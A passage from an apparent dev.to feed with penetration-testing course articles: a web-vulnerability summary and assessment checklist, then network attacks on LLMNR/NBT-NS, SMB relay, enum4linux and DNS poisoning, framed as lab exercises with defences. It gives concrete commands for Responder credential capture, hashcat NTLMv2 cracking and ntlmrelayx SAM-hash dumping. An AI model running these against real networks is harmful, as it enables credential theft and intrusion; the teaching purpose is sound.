  &amp;lt;a name="authorization-the-permissions-layer-section-66" href="#authorization-the-permissions-layer-section-66" class="anchor"&amp;gt;
  &amp;lt;/a&amp;gt;
  Authorization — The Permissions Layer (Section 6.6)
&amp;lt;/h4&amp;gt;

&amp;lt;p&amp;gt;Authorization failures are the most prevalent web vulnerability category (94% of tested applications). The core failure is always the same: the server validates that a user is authenticated (correct role, valid session) but does not validate that this specific user is authorized to access this specific resource.&amp;lt;/p&amp;gt;

&amp;lt;p&amp;gt;IDOR — Insecure Direct Object Reference — is the most impactful manifestation: changing an ID in a URL from your own to another user's reveals their data without any authentication bypass required. Horizontal privilege escalation accesses other users' data. Vertical privilege escalation accesses higher-privilege functionality. HTTP method manipulation, header injection, and CSP bypass all represent different attack surfaces for the same authorization failure.&amp;lt;/p&amp;gt;
&amp;lt;h4&amp;gt;
  &amp;lt;a name="xss-javascript-in-the-wrong-hands-section-67" href="#xss-javascript-in-the-wrong-hands-section-67" class="anchor"&amp;gt;
  &amp;lt;/a&amp;gt;
  XSS — JavaScript in the Wrong Hands (Section 6.7)
&amp;lt;/h4&amp;gt;

&amp;lt;p&amp;gt;Cross-Site Scripting is not about alert boxes. It is about JavaScript execution in a victim's browser — with access to their session, their data, their credentials, and the ability to make authenticated requests on their behalf. Reflected XSS requires delivery. Stored XSS is persistent and scales. DOM XSS lives entirely in the browser, invisible to server-side detection.&amp;lt;/p&amp;gt;

&amp;lt;p&amp;gt;XSS evasion techniques — encoding, alternative tags, template literals, CSP bypass through unsafe-inline and whitelisted JSONP — demonstrated that every blacklist-based defense is bypassable. The only reliable XSS defense is context-aware output encoding and a strict CSP with nonces.&amp;lt;/p&amp;gt;
&amp;lt;h4&amp;gt;
  &amp;lt;a name="csrf-and-ssrf-forged-requests-section-68" href="#csrf-and-ssrf-forged-requests-section-68" class="anchor"&amp;gt;
  &amp;lt;/a&amp;gt;
  CSRF and SSRF — Forged Requests (Section 6.8)
&amp;lt;/h4&amp;gt;

&amp;lt;p&amp;gt;CSRF exploits the browser's automatic cookie attachment to forge authenticated requests from a third-party site. The victim's own browser becomes the attack vector. CSRF tokens and SameSite cookies are the primary defenses.&amp;lt;/p&amp;gt;

&amp;lt;p&amp;gt;SSRF makes the server itself the attack vector — instructing it to make requests to internal resources the attacker cannot reach directly. Cloud metadata services (AWS IMDSv1, Azure IMDS, GCP metadata) are the most impactful SSRF targets: a single successful query returns cloud credentials with broad access. The Capital One breach demonstrated that SSRF in a security product can expose over 100 million records.&amp;lt;/p&amp;gt;
&amp;lt;h4&amp;gt;
  &amp;lt;a name="clickjacking-visual-deception-section-69" href="#clickjacking-visual-deception-section-69" class="anchor"&amp;gt;
  &amp;lt;/a&amp;gt;
  Clickjacking — Visual Deception (Section 6.9)
&amp;lt;/h4&amp;gt;

&amp;lt;p&amp;gt;Clickjacking separates what the user sees from what their clicks accomplish. The X-Frame-Options and CSP &amp;lt;code&amp;gt;frame-ancestors&amp;lt;/code&amp;gt; headers are the defenses. Their absence allows any state-changing action triggerable by a single click to be performed through invisible iframe overlay.&amp;lt;/p&amp;gt;
&amp;lt;h4&amp;gt;
  &amp;lt;a name="security-misconfigurations-section-610" href="#security-misconfigurations-section-610" class="anchor"&amp;gt;
  &amp;lt;/a&amp;gt;
  Security Misconfigurations (Section 6.10)
&amp;lt;/h4&amp;gt;

&amp;lt;p&amp;gt;Directory traversal demonstrated that path-based file access without proper restriction allows reading any readable file on the server — escalating through log poisoning to Remote Code Execution. Cookie manipulation showed that the cookie layer's security depends entirely on the security flags applied (&amp;lt;code&amp;gt;HttpOnly&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;Secure&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;SameSite&amp;lt;/code&amp;gt;) and on the server not trusting user-submitted values that determine identity or privilege.&amp;lt;/p&amp;gt;
&amp;lt;h4&amp;gt;
  &amp;lt;a name="file-inclusion-the-execution-chain-section-611" href="#file-inclusion-the-execution-chain-section-611" class="anchor"&amp;gt;
  &amp;lt;/a&amp;gt;
  File Inclusion — The Execution Chain (Section 6.11)
&amp;lt;/h4&amp;gt;

&amp;lt;p&amp;gt;File inclusion vulnerabilities transform what seems like a file read into a code execution opportunity. Local File Inclusion chains through log poisoning, /proc/self/environ, PHP wrappers, and session file inclusion to achieve RCE. Remote File Inclusion is more direct — when &amp;lt;code&amp;gt;allow_url_include&amp;lt;/code&amp;gt; is enabled, hosting a PHP file on your own server and including it via RFI achieves immediate code execution.&amp;lt;/p&amp;gt;

&amp;lt;p&amp;gt;The php://filter wrapper deserves special mention: it enables reading the source code of any PHP file without executing it — turning an LFI vulnerability into a complete source code disclosure that reveals database credentials, business logic, and hidden vulnerabilities.&amp;lt;/p&amp;gt;
&amp;lt;h4&amp;gt;
  &amp;lt;a name="insecure-code-practices-the-human-factor-section-612" href="#insecure-code-practices-the-human-factor-section-612" class="anchor"&amp;gt;
  &amp;lt;/a&amp;gt;
  Insecure Code Practices — The Human Factor (Section 6.12)
&amp;lt;/h4&amp;gt;

&amp;lt;p&amp;gt;The final section revealed that many of the most impactful vulnerabilities in web applications stem from engineering habits rather than architectural decisions: comments containing credentials, error messages revealing infrastructure details, API keys hard-coded in JavaScript, race conditions in concurrent access to shared resources, APIs that assume only official clients will call them, hidden form fields the server trusts, and missing cryptographic verification of software integrity.&amp;lt;/p&amp;gt;

&amp;lt;p&amp;gt;These findings require minimal technical exploitation skill — they require observation, pattern recognition, and the habit of looking at everything the application reveals about itself. The attacker who reads source code, triggers intentional errors, examines JavaScript bundle contents, and checks HTTP response headers thoroughly will consistently find critical vulnerabilities that more technically sophisticated testers miss.&amp;lt;/p&amp;gt;
&amp;lt;h3&amp;gt;
  &amp;lt;a name="the-unified-view-what-every-web-application-assessment-should-cover" href="#the-unified-view-what-every-web-application-assessment-should-cover" class="anchor"&amp;gt;
  &amp;lt;/a&amp;gt;
  The Unified View — What Every Web Application Assessment Should Cover
&amp;lt;/h3&amp;gt;

&amp;lt;p&amp;gt;A complete web application security assessment, after Module 6, follows this structure:&amp;lt;/p&amp;gt;

&amp;lt;p&amp;gt;&amp;lt;strong&amp;gt;Passive Analysis:&amp;lt;/strong&amp;gt; Examine HTTP responses for security headers, technology disclosure, error handling quality, comment content, cookie flags. Analyze JavaScript bundles for endpoints, API keys, and architectural information.&amp;lt;/p&amp;gt;

&amp;lt;p&amp;gt;&amp;lt;strong&amp;gt;Active Discovery:&amp;lt;/strong&amp;gt; Enumerate endpoints via directory brute force, API documentation, and JavaScript analysis. Map every input parameter. Build a complete application flow model.&amp;lt;/p&amp;gt;

&amp;lt;p&amp;gt;&amp;lt;strong&amp;gt;Authentication Testing:&amp;lt;/strong&amp;gt; Test login brute force and lockout. Test password reset flows. Analyze session token entropy and security flags. Test session invalidation. Test MFA bypass paths. Check for default credentials.&amp;lt;/p&amp;gt;

&amp;lt;p&amp;gt;&amp;lt;strong&amp;gt;Authorization Testing:&amp;lt;/strong&amp;gt; Build a privilege matrix. Test IDOR by enumerating object identifiers. Test vertical privilege escalation by accessing admin endpoints as regular users. Test every HTTP method on every endpoint.&amp;lt;/p&amp;gt;

&amp;lt;p&amp;gt;&amp;lt;strong&amp;gt;Injection Testing:&amp;lt;/strong&amp;gt; Test every input parameter for SQL injection (error-based, then blind). Test command injection on functionality suggesting system calls. Test LFI/RFI on file-handling functionality. Check for LDAP injection on directory-backed applications.&amp;lt;/p&amp;gt;

&amp;lt;p&amp;gt;&amp;lt;strong&amp;gt;Client-Side Testing:&amp;lt;/strong&amp;gt; Test all reflection points for XSS in correct context. Test multi-step workflows for CSRF vulnerabilities. Test pages for Clickjacking. Analyze JavaScript for DOM XSS sinks.&amp;lt;/p&amp;gt;

&amp;lt;p&amp;gt;&amp;lt;strong&amp;gt;Business Logic Testing:&amp;lt;/strong&amp;gt; Map critical workflows. Test step skipping and repetition. Test simultaneous requests on rate-limited or single-use functionality. Test all numeric inputs with boundary values.&amp;lt;/p&amp;gt;

&amp;lt;p&amp;gt;&amp;lt;strong&amp;gt;Infrastructure Testing:&amp;lt;/strong&amp;gt; Test for directory traversal. Check for exposed API documentation. Test SSRF on URL-accepting functionality. Validate TLS configuration. Check for exposed admin panels and debug endpoints.&amp;lt;/p&amp;gt;

&amp;lt;p&amp;gt;&amp;lt;strong&amp;gt;This is the complete professional web application security assessment.&amp;lt;/strong&amp;gt; Every finding in every category has a direct business impact — from credential theft enabling account takeover, to database compromise enabling mass data exfiltration, to RCE enabling complete infrastructure compromise. Module 6 provided not just the technical knowledge to execute these tests but the conceptual framework to understand why vulnerabilities exist, why defenses succeed or fail, and how to communicate findings in terms of business risk rather than technical details.&amp;lt;/p&amp;gt;

&amp;lt;hr&amp;gt;

&amp;lt;p&amp;gt;&amp;lt;em&amp;gt;═══════════════════════════════════════════════════════════&amp;lt;/em&amp;gt;&amp;lt;br&amp;gt;
&amp;lt;em&amp;gt;MODULE 6 — EXPLOITING APPLICATION-BASED VULNERABILITIES&amp;lt;/em&amp;gt;&amp;lt;br&amp;gt;
&amp;lt;em&amp;gt;COMPLETE&amp;lt;/em&amp;gt;&amp;lt;br&amp;gt;
&amp;lt;em&amp;gt;═══════════════════════════════════════════════════════════&amp;lt;/em&amp;gt;&amp;lt;/p&amp;gt;
&lt;/p&gt;

</description>
      <category>owasp</category>
      <category>cybersecurity</category>
      <category>web</category>
    </item>
    <item>
      <title>MODULE 5: Exploiting Network-Based Vulnerabilities</title>
      <dc:creator>Rençber AKMAN</dc:creator>
      <pubDate>Wed, 12 Aug 2026 12:40:19 +0000</pubDate>
      <link>https://dev.to/rencberakman/module-51-exploiting-network-based-vulnerabilities-1h93</link>
      <guid>https://dev.to/rencberakman/module-51-exploiting-network-based-vulnerabilities-1h93</guid>
      <description>&lt;h2&gt;
  
  
  Table of Contents
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;5.1.1 Overview&lt;/li&gt;
&lt;li&gt;5.1.2 Windows Name Resolution and SMB Attacks&lt;/li&gt;
&lt;li&gt;5.1.3 Practice - Windows Name Resolution and SMB Attacks&lt;/li&gt;
&lt;li&gt;5.1.4 Lab - Scanning for SMB Vulnerabilities with enum4linux&lt;/li&gt;
&lt;li&gt;5.1.5 DNS Cache Poisoning&lt;/li&gt;
&lt;li&gt;5.1.6 Practice - DNS Cache Poisoning&lt;/li&gt;
&lt;li&gt;5.1.7 SNMP Exploits&lt;/li&gt;
&lt;li&gt;5.1.8 SMTP Exploits&lt;/li&gt;
&lt;li&gt;5.1.9 Practice - SMTP Commands&lt;/li&gt;
&lt;li&gt;5.1.10 FTP Exploits&lt;/li&gt;
&lt;li&gt;5.1.11 Pass-the-Hash Attacks&lt;/li&gt;
&lt;li&gt;5.1.12 Kerberos and LDAP-Based Attacks&lt;/li&gt;
&lt;li&gt;5.1.13 Kerberoasting&lt;/li&gt;
&lt;li&gt;5.1.14 On-Path Attacks&lt;/li&gt;
&lt;li&gt;5.1.15 Practice - Kerberos, LDAP, and On-Path Attacks&lt;/li&gt;
&lt;li&gt;5.1.16 Lab - On-Path Attacks with Ettercap&lt;/li&gt;
&lt;li&gt;5.1.17 Route Manipulation Attacks&lt;/li&gt;
&lt;li&gt;5.1.18 DoS and DDoS Attacks&lt;/li&gt;
&lt;li&gt;5.1.19 Practice - DoS and DDoS Attacks&lt;/li&gt;
&lt;li&gt;5.1.20 Network Access Control (NAC) Bypass&lt;/li&gt;
&lt;li&gt;5.1.21 VLAN Hopping&lt;/li&gt;
&lt;li&gt;5.1.22 Practice - NAC Bypass and VLAN Hopping&lt;/li&gt;
&lt;li&gt;5.1.23 DHCP Starvation Attacks and Rogue DHCP Servers&lt;/li&gt;
&lt;li&gt;5.1.24 Practice - DHCP Starvation and Rogue DHCP Servers&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  5.1.1 Overview
&lt;/h2&gt;

&lt;p&gt;Network-based vulnerability exploitation sits at the intersection of protocol knowledge and attacker creativity. Every attack covered in this section exploits a design decision made by engineers who assumed their protocols would operate in a trusted environment. Understanding this fundamental assumption — that most foundational network protocols were designed for reliability and interoperability, not security — is the lens through which every attack in this module becomes logical rather than magical.&lt;/p&gt;

&lt;p&gt;The attacks covered in Module 5.1 operate primarily at Layers 2, 3, 4, and 7 of the OSI model. They target protocols including SMB, DNS, SNMP, SMTP, FTP, Kerberos, LDAP, ARP, BGP, and DHCP. What unites them is not their technical similarity but their philosophical foundation: each one finds the gap between what a protocol was designed to do and what an attacker can make it do instead.&lt;/p&gt;

&lt;p&gt;A critical professional mindset to develop before engaging with this content: every technique described here is a dual-use capability. The same Responder tool that a penetration tester uses to capture NTLMv2 hashes in an authorized engagement is used by ransomware operators to move laterally through corporate networks. Understanding the attack deeply is the prerequisite for defending against it effectively. You cannot build detection rules for behavior you do not understand.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The Attack Surface of a Corporate Network&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;When a penetration tester gains their first foothold inside a corporate network — through phishing, a web application vulnerability, VPN credential theft, or physical access — they are typically positioned as a standard user on one workstation in one network segment. From that position, the attacks in this module are the tools used to expand that foothold into domain-wide compromise. This process is called lateral movement, and the attacks in 5.1 are its primary mechanisms.&lt;/p&gt;

&lt;p&gt;The typical attack chain inside a corporate network looks like this: initial access on one endpoint leads to local credential harvesting, which enables lateral movement to additional systems, which exposes more credentials, which eventually reaches a domain controller, at which point the entire Active Directory environment is considered compromised. Module 5.1 covers the network-level techniques that make this chain possible.&lt;/p&gt;




&lt;h2&gt;
  
  
  5.1.2 Windows Name Resolution and SMB Attacks
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Understanding Windows Name Resolution
&lt;/h3&gt;

&lt;p&gt;Before understanding why Windows name resolution attacks are so powerful, you need to understand how Windows resolves names to IP addresses — because it does not simply use DNS.&lt;/p&gt;

&lt;p&gt;When a Windows machine needs to resolve a hostname to an IP address, it follows a specific resolution order. First it checks its local hosts file at C:\Windows\System32\drivers\etc\hosts. If not found there, it queries DNS. If DNS fails or returns no result, Windows falls back to a legacy protocol called LLMNR (Link-Local Multicast Name Resolution). If LLMNR also fails, Windows tries NBT-NS (NetBIOS Name Service).&lt;/p&gt;

&lt;p&gt;This fallback behavior is the attack surface. When a Windows machine fails to resolve a name via DNS and broadcasts an LLMNR or NBT-NS query asking "does anyone know the IP for this hostname?", any machine on the same local network segment can respond. There is no authentication, no verification, no challenge. If an attacker's machine responds first with "yes, I'm that host, here's my IP," the victim will believe the response and attempt to connect to the attacker's machine.&lt;/p&gt;

&lt;h3&gt;
  
  
  LLMNR Poisoning — The Attack Mechanism
&lt;/h3&gt;

&lt;p&gt;LLMNR (Link-Local Multicast Name Resolution) operates on UDP port 5355 and uses multicast addressing (224.0.0.252 for IPv4, FF02::1:3 for IPv6). When a Windows host cannot resolve a hostname via DNS, it broadcasts an LLMNR query to the entire local network segment.&lt;/p&gt;

&lt;p&gt;The attack flow works as follows. A user on the victim machine attempts to access a network resource — perhaps they mistype a UNC path like \FileServr\share (with a typo) instead of \FileServer\share. DNS cannot resolve "FileServr" because it does not exist. Windows sends an LLMNR multicast query asking all hosts on the local segment: "Who is FileServr?" The attacker's machine, running a tool like Responder, receives this multicast query and immediately responds: "I am FileServr." The victim's machine accepts this response and initiates a connection to the attacker. During this connection attempt, the victim's machine automatically sends Windows authentication credentials — specifically an NTLMv2 challenge-response hash — to authenticate to what it believes is the legitimate file server.&lt;/p&gt;

&lt;p&gt;The attacker does not receive the plaintext password. They receive an NTLMv2 hash, which is a cryptographic response to a challenge. This hash can then be used in two ways: it can be cracked offline using tools like Hashcat or John the Ripper to recover the original plaintext password, or it can be used directly in a Pass-the-Hash attack (covered in 5.1.11) without ever cracking it.&lt;/p&gt;

&lt;h3&gt;
  
  
  NBT-NS Poisoning
&lt;/h3&gt;

&lt;p&gt;NBT-NS (NetBIOS Name Service) is an older Microsoft name resolution protocol operating on UDP port 137. It follows the same fundamental pattern as LLMNR — when a hostname cannot be resolved, Windows broadcasts a NBT-NS query. The attack mechanism is identical: Responder listens for these broadcasts and responds with poisoned answers, capturing NTLMv2 hashes from victims who attempt to authenticate.&lt;/p&gt;

&lt;p&gt;NBT-NS is older and being phased out in modern Windows environments, but it remains active by default on most Windows deployments for backwards compatibility. This is a recurring theme in Windows security: legacy protocols remain enabled far beyond their useful lifetime because disabling them risks breaking something somewhere in the environment.&lt;/p&gt;

&lt;h3&gt;
  
  
  SMB (Server Message Block) — The Protocol
&lt;/h3&gt;

&lt;p&gt;SMB is Microsoft's file sharing and network resource protocol. It enables Windows machines to share files, printers, and other resources across a network. SMB operates on TCP port 445 in modern implementations (and TCP port 139 in legacy NBT-over-TCP mode).&lt;/p&gt;

&lt;p&gt;SMB has had a troubled security history. SMBv1, the original version dating from the 1980s, had fundamental design weaknesses that culminated in the EternalBlue vulnerability (CVE-2017-0144). SMBv2 and SMBv3 introduced significant security improvements including mandatory signing options and encryption, but the legacy of SMBv1 — still enabled on countless systems worldwide — continues to provide attack surface.&lt;/p&gt;

&lt;h3&gt;
  
  
  SMB Relay Attacks
&lt;/h3&gt;

&lt;p&gt;SMB relay is a technique where instead of cracking the captured NTLMv2 hash, the attacker relays it in real time to authenticate to another system. When an attacker captures an NTLMv2 authentication attempt (via LLMNR/NBT-NS poisoning), rather than saving the hash for offline cracking, they immediately forward that authentication to another target machine in the network. If the authenticating user has credentials valid on that target machine, the attacker gains access.&lt;/p&gt;

&lt;p&gt;This is particularly powerful because it bypasses the need to crack passwords entirely. Even strong, complex passwords are vulnerable to relay attacks because the attacker never needs to know the actual password — they just forward the authentication challenge and response to another system that accepts it.&lt;/p&gt;

&lt;p&gt;The critical requirement for SMB relay to work is that SMB signing must be disabled or not required on the target. SMB signing is a security feature that cryptographically signs SMB communications, preventing an attacker from relaying modified authentication attempts. In many environments, SMB signing is not enforced on workstations even when it is enabled on servers. Nmap can identify systems where SMB signing is not required: &lt;code&gt;nmap --script smb2-security-mode -p 445 &amp;lt;target&amp;gt;&lt;/code&gt;.&lt;/p&gt;

&lt;h3&gt;
  
  
  Responder — The Primary Tool
&lt;/h3&gt;

&lt;p&gt;Responder is a Python-based tool included in Kali Linux that simultaneously poisons LLMNR, NBT-NS, and MDNS queries while running fake servers (SMB, HTTP, FTP, LDAP) to capture authentication credentials. Running &lt;code&gt;responder -I eth0 -rdwv&lt;/code&gt; starts Responder on interface eth0 with rogue DHCP, DNS, WPAD, and verbose output enabled.&lt;/p&gt;

&lt;p&gt;Captured hashes are saved to /usr/share/responder/logs/ and can be cracked with &lt;code&gt;hashcat -m 5600 hash.txt wordlist.txt&lt;/code&gt; where mode 5600 targets NTLMv2 hashes.&lt;/p&gt;

&lt;h3&gt;
  
  
  Defensive Countermeasures
&lt;/h3&gt;

&lt;p&gt;Disabling LLMNR via Group Policy (Computer Configuration → Administrative Templates → Network → DNS Client → Turn off multicast name resolution) eliminates the primary attack vector. Disabling NBT-NS on all network adapters removes the secondary vector. Enabling SMB signing across the entire environment prevents relay attacks even when hashes are captured. Network segmentation ensures that a compromised endpoint in one VLAN cannot send LLMNR queries that reach endpoints in other VLANs.&lt;/p&gt;




&lt;h2&gt;
  
  
  5.1.3 Practice — Windows Name Resolution and SMB Attacks
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Lab Environment Setup
&lt;/h3&gt;

&lt;p&gt;Practicing LLMNR/NBT-NS poisoning requires a controlled lab environment with at least two machines: an attacker (Kali Linux) and a victim (Windows). Both must be on the same network segment with no intervening router, as LLMNR and NBT-NS use multicast/broadcast addressing that does not cross router boundaries.&lt;/p&gt;

&lt;p&gt;Recommended lab setup: Kali Linux VM on Host-Only or Internal Network adapter, Windows 10 VM on the same Host-Only or Internal Network adapter. This ensures both are on the same segment without any internet connectivity (important for safety in a lab — you do not want to be running Responder on a network segment with real users).&lt;/p&gt;

&lt;h3&gt;
  
  
  Step-by-Step Attack Walkthrough
&lt;/h3&gt;

&lt;p&gt;On the Kali machine, start Responder: &lt;code&gt;sudo responder -I eth0 -rdwv&lt;/code&gt;. Responder will display its startup banner showing which servers and poisoning methods are active. On the Windows victim machine, open File Explorer and attempt to access a non-existent UNC path: &lt;code&gt;\\NonExistentServer\share&lt;/code&gt;. Windows will fail DNS resolution and fall back to LLMNR. Responder on Kali will capture the authentication attempt and display the NTLMv2 hash in the terminal output.&lt;/p&gt;

&lt;p&gt;The captured hash looks like: &lt;code&gt;[SMB] NTLMv2 Hash : Administrator::WORKGROUP:1122334455667788:...&lt;/code&gt;. Copy this hash to a file and attempt offline cracking: &lt;code&gt;hashcat -m 5600 captured.txt /usr/share/wordlists/rockyou.txt&lt;/code&gt;.&lt;/p&gt;

&lt;h3&gt;
  
  
  Verifying SMB Signing Status
&lt;/h3&gt;

&lt;p&gt;Before attempting relay attacks, identify which systems do not require SMB signing: &lt;code&gt;nmap --script smb2-security-mode.nse -p 445 &amp;lt;network_range&amp;gt;&lt;/code&gt;. Systems showing "Message signing enabled but not required" are vulnerable to relay attacks.&lt;/p&gt;

&lt;p&gt;For relay attacks, use ntlmrelayx from Impacket: &lt;code&gt;python3 ntlmrelayx.py -tf targets.txt -smb2support&lt;/code&gt;. When a victim authenticates via LLMNR poisoning, ntlmrelayx automatically relays the credentials to all targets in targets.txt, dumping SAM hashes from any system where the credentials are valid.&lt;/p&gt;




&lt;h2&gt;
  
  
  5.1.4 Lab — Scanning for SMB Vulnerabilities with enum4linux
&lt;/h2&gt;

&lt;h3&gt;
  
  
  What is enum4linux?
&lt;/h3&gt;

&lt;p&gt;enum4linux is a Linux tool for enumerating information from Windows and Samba systems using SMB. It is essentially a wrapper around multiple Samba tools (smbclient, rpcclient, net, nmblookup) that automates the process of extracting as much information as possible from an SMB target.&lt;/p&gt;

&lt;p&gt;What enum4linux can reveal from a target system is remarkable in scope: operating system version and build number, domain or workgroup membership, list of all local users and their RIDs (Relative Identifiers), list of all local groups and their members, list of all network shares including hidden shares, password policy details (minimum length, complexity requirements, lockout threshold and duration), printer information, and domain SID (Security Identifier).&lt;/p&gt;

&lt;p&gt;This information is invaluable for attack planning. Knowing the password policy tells an attacker whether brute-force or password spraying is viable. Knowing all usernames provides the target list for credential attacks. Knowing share names and permissions reveals what data is accessible. All of this is gathered without exploiting any vulnerability — it relies on legitimate SMB functionality that Windows exposes for administrative purposes.&lt;/p&gt;

&lt;h3&gt;
  
  
  Running enum4linux
&lt;/h3&gt;

&lt;p&gt;Basic usage: &lt;code&gt;enum4linux -a &amp;lt;target_ip&amp;gt;&lt;/code&gt; runs all enumeration checks. The &lt;code&gt;-a&lt;/code&gt; flag is a comprehensive mode covering users, shares, groups, password policy, OS information, and domain information simultaneously.&lt;/p&gt;

&lt;p&gt;Individual options for targeted enumeration include &lt;code&gt;-U&lt;/code&gt; for user list, &lt;code&gt;-S&lt;/code&gt; for share list, &lt;code&gt;-P&lt;/code&gt; for password policy, &lt;code&gt;-G&lt;/code&gt; for group list, &lt;code&gt;-o&lt;/code&gt; for OS information, and &lt;code&gt;-i&lt;/code&gt; for printer information.&lt;/p&gt;

&lt;p&gt;A full enum4linux run against a Windows target with null session access (anonymous authentication) produces extensive output. In older Windows environments (pre-Windows 2008 with default hardening), null sessions allowed complete enumeration without any credentials. Modern Windows environments restrict anonymous access by default, but many enterprise environments still have legacy systems or misconfigured Group Policies that allow it.&lt;/p&gt;

&lt;h3&gt;
  
  
  Interpreting enum4linux Output
&lt;/h3&gt;

&lt;p&gt;The most valuable sections of enum4linux output are the user list, which provides usernames for subsequent password attacks; the password policy, which determines attack strategy; and the share list, which reveals accessible network resources.&lt;/p&gt;

&lt;p&gt;A password policy showing minimum length of 0, no complexity requirements, and no lockout threshold indicates the environment is vulnerable to brute-force attacks. A policy showing lockout after 5 attempts indicates that password spraying (trying one password against many accounts) is safer than traditional brute-force.&lt;/p&gt;

&lt;h3&gt;
  
  
  SMB Vulnerability Scanning with Nmap NSE Scripts
&lt;/h3&gt;

&lt;p&gt;Nmap's SMB-related NSE scripts provide additional vulnerability identification beyond enum4linux. Key scripts include &lt;code&gt;smb-vuln-ms17-010&lt;/code&gt; (checks for EternalBlue), &lt;code&gt;smb-vuln-ms08-067&lt;/code&gt; (checks for the MS08-067 vulnerability exploited by Conficker), &lt;code&gt;smb-enum-shares&lt;/code&gt; (enumerates accessible shares), &lt;code&gt;smb-enum-users&lt;/code&gt; (enumerates users), and &lt;code&gt;smb-os-discovery&lt;/code&gt; (identifies OS version via SMB).&lt;/p&gt;

&lt;p&gt;Running &lt;code&gt;nmap --script smb-vuln-ms17-010 -p 445 &amp;lt;target&amp;gt;&lt;/code&gt; against a Windows 7 or Server 2008 R2 system without the MS17-010 patch will return a finding indicating the system is vulnerable to EternalBlue — the vulnerability exploited by WannaCry and NotPetya.&lt;/p&gt;




&lt;h2&gt;
  
  
  5.1.5 DNS Cache Poisoning
&lt;/h2&gt;

&lt;h3&gt;
  
  
  How DNS Works — The Foundation for Understanding the Attack
&lt;/h3&gt;

&lt;p&gt;DNS (Domain Name System) is the distributed naming system that translates human-readable domain names into IP addresses. The system is hierarchical: when your computer needs to resolve google.com, it asks your configured DNS resolver (usually your ISP or organization's DNS server), which in turn queries root nameservers, then TLD nameservers, then the authoritative nameserver for google.com. The response travels back through this chain to your resolver, which caches the result for the duration specified by the record's TTL (Time to Live) value.&lt;/p&gt;

&lt;p&gt;This caching is the attack surface for DNS cache poisoning. A DNS resolver caches responses to avoid querying the full hierarchy every time. If an attacker can inject a fraudulent response into this cache, every user of that resolver will receive the poisoned answer for as long as the TTL lasts — potentially hours or days.&lt;/p&gt;

&lt;h3&gt;
  
  
  The Kaminsky Attack — Why DNS Cache Poisoning Was a Critical Vulnerability
&lt;/h3&gt;

&lt;p&gt;In 2008, security researcher Dan Kaminsky disclosed a fundamental flaw in DNS that made cache poisoning dramatically easier than previously understood. Before the Kaminsky disclosure, poisoning a DNS cache required either being positioned to intercept DNS traffic (a man-in-the-middle position) or winning a "birthday attack" against the 16-bit transaction ID — a 1-in-65536 chance per query.&lt;/p&gt;

&lt;p&gt;Kaminsky's insight was that an attacker could force a resolver to make thousands of DNS queries for random subdomains (like random1.example.com, random2.example.com, etc.) and simultaneously send thousands of forged responses guessing the transaction ID. Because the resolver had to look up each random subdomain with the authoritative nameserver, the attacker could flood it with forged "authoritative" responses containing not just the fake answer for the random subdomain but also a poisoned NS (nameserver) record for the entire domain. When the attacker's guess matched the transaction ID, the poisoned NS record entered the cache, redirecting all subsequent queries for the entire domain to the attacker's controlled nameserver.&lt;/p&gt;

&lt;p&gt;The fix, rapidly deployed across the internet, was source port randomization — using random source UDP ports for DNS queries in addition to random transaction IDs, expanding the search space from 65,536 to approximately 65,536 × 65,536 = over 4 billion combinations. This made blind poisoning attacks impractical but not theoretically impossible.&lt;/p&gt;

&lt;h3&gt;
  
  
  Modern DNS Cache Poisoning Techniques
&lt;/h3&gt;

&lt;p&gt;While the Kaminsky attack style has been largely mitigated, DNS poisoning remains relevant in several contexts.&lt;/p&gt;

&lt;p&gt;On-path poisoning requires a man-in-the-middle position — the attacker intercepts DNS queries between a client and its resolver and injects forged responses. This is practically achieved through ARP poisoning (covered in 5.1.14) to create the MITM position.&lt;/p&gt;

&lt;p&gt;Rogue DNS server deployment involves placing a malicious DNS server on the network that responds to DNS queries before the legitimate server. This is achieved through rogue DHCP servers (covered in 5.1.23) that distribute the attacker's server as the DNS resolver.&lt;/p&gt;

&lt;p&gt;BGP hijacking (covered in 5.1.17) at the routing level can redirect DNS traffic to attacker-controlled infrastructure at a global scale.&lt;/p&gt;

&lt;h3&gt;
  
  
  DNSSEC and Its Limitations
&lt;/h3&gt;

&lt;p&gt;DNSSEC (DNS Security Extensions) addresses cache poisoning by adding cryptographic signatures to DNS records. A DNSSEC-validating resolver verifies these signatures before accepting responses, making forged responses detectable. However, DNSSEC deployment remains incomplete across the internet, and many organizations' internal DNS infrastructure does not use DNSSEC at all. An attacker on an internal network targeting internal DNS servers is rarely constrained by DNSSEC.&lt;/p&gt;

&lt;h3&gt;
  
  
  Practical Impact of DNS Poisoning
&lt;/h3&gt;

&lt;p&gt;Successful DNS cache poisoning allows an attacker to redirect users from legitimate websites to attacker-controlled lookalike pages — enabling credential theft through phishing. Email traffic can be redirected by poisoning MX records, allowing the attacker to intercept or read corporate email. Certificate issuance for HTTPS can potentially be manipulated by poisoning DNS for domains used in CA domain validation challenges.&lt;/p&gt;




&lt;h2&gt;
  
  
  5.1.6 Practice — DNS Cache Poisoning
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Tools for DNS Poisoning Practice
&lt;/h3&gt;

&lt;p&gt;In a controlled lab environment, DNS poisoning is practiced using a combination of ARP poisoning tools (to create the MITM position) and DNS spoofing tools (to inject forged responses).&lt;/p&gt;

&lt;p&gt;Ettercap (covered in depth in 5.1.16) includes a dns_spoof plugin that intercepts DNS queries from poisoned ARP victims and returns forged responses. dnschef is a flexible DNS proxy and spoofer that can selectively respond to specific domain queries with attacker-controlled IP addresses while passing all other queries to the legitimate resolver.&lt;/p&gt;

&lt;p&gt;A practical lab flow: establish an ARP poisoning MITM position between a victim and their router (covered in 5.1.14), then intercept DNS queries using Wireshark to observe the query patterns, then use dnschef or Ettercap's dns_spoof plugin to inject forged responses for target domains.&lt;/p&gt;

&lt;h3&gt;
  
  
  Verifying Poisoning Success
&lt;/h3&gt;

&lt;p&gt;After DNS poisoning, the victim's DNS resolution for the targeted domain should return the attacker's IP. Verify on the victim machine by running &lt;code&gt;nslookup targetdomain.com&lt;/code&gt; — if poisoning was successful, the response will show the attacker's IP rather than the legitimate one. Opening the targeted domain in a browser should load whatever content the attacker is serving on their machine.&lt;/p&gt;




&lt;h2&gt;
  
  
